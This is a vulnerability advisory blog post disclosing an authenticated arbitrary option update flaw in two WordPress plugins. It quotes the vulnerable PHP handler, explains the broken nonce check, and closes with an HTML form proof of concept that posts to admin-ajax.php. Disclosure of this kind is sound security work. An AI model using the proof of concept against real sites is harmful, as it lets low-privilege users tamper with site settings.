22 Mar 2022

Two WordPress Plugins With 60,000+ Installs Contain Authenticated Option Update Vulnerability

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a variant of those vulnerabilities, an authenticated option update vulnerability in the plugins Stop Generating Unnecessary Thumbnails, which has 40,000+ installs, and CoDesigner, which has 20,000+ installs. Those plugins are from the same developer, so other plugins from them might be affected as well. This is also the second time our proactive monitoring has identified fairly serious vulnerabilities in the plugins (the previous instances involved separate vulenrabilities).

We now are also running all the plugins used by customers through that on a weekly basis to provide additional protection for our customers.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool. That tool is also flagging other insecure code in the plugin.

Authenticated Option Update

In both plugins, in the file /vendor/codexpert/plugin/src/Settings.php, the function save_settings() is registered to accessible through WordPress’ AJAX functionality by anyone logged in to WordPress:

51
$this->priv( 'cx-settings', 'save_settings' );

The function contains code that allows updating arbitrary WordPress options (settings) specified by the POST input “option_name”:

71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public function save_settings() {
	if( !wp_verify_nonce( $_POST['_wpnonce'] ) ) {
		wp_send_json( array( 'status' => 0, 'message' => __( 'Unauthorized!' ) ) );
	}
	$option_name = $_POST['option_name'];
 
	$is_savable = apply_filters( 'cx-settings-savable', true, $option_name, $_POST );
 
	if( !$is_savable ) wp_send_json( apply_filters( 'cx-settings-response', array( 'status' => -1, 'message' => __( 'Ignored' ) ), $_POST ) );
 
	$page_load = $_POST['page_load'];
	unset( $_POST['action'] );
	unset( $_POST['option_name'] );
	unset( $_POST['page_load'] );
	unset( $_POST['_wpnonce'] );
	unset( $_POST['_wp_http_referer'] );
 
	update_option( $option_name, $_POST );

The code is lacking a capabilities check to limit what WordPress users have access to updating the options. The code does include a nonce check, which is designed to prevent cross-site request forgery (CSRF). That would normally provide the equivalent of a capabilities check, since only users intended to be able to make changes would have access to a valid value. The problem with this code is that nonce check doesn’t involve a specified action, so any nonce generated without an action could be used. A simple search using WP Directory shows that there are other plugins that generate nonces in that way, so it is possible that a low level user could have access to a valid nonce.

The function also doesn’t limit what options can be updated, despite having code that would allow that to happen in it, and presumably only options for the plugin intended to be updated through this.

The damage that can be done with this is somewhat limited due to the value of the option being updated to the value of the $_POST variable, which among other issues, limits the ability to update certain options due to a restriction on what they can be updated to.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here are the messages we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will update the value of the option “proofofconcept” to ‘a:1:{s:12:”option_value”;s:14:”proofofconcept”;}’, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of a nonce generated without an action.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=cx-settings" method="POST">
<input type="hidden" name="_wpnonce" value="[nonce]" />
<input type="hidden" name="option_name" value="proofofconcept" />
<input type="hidden" name="option_value" value="proofofconcept" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published. Required fields are marked *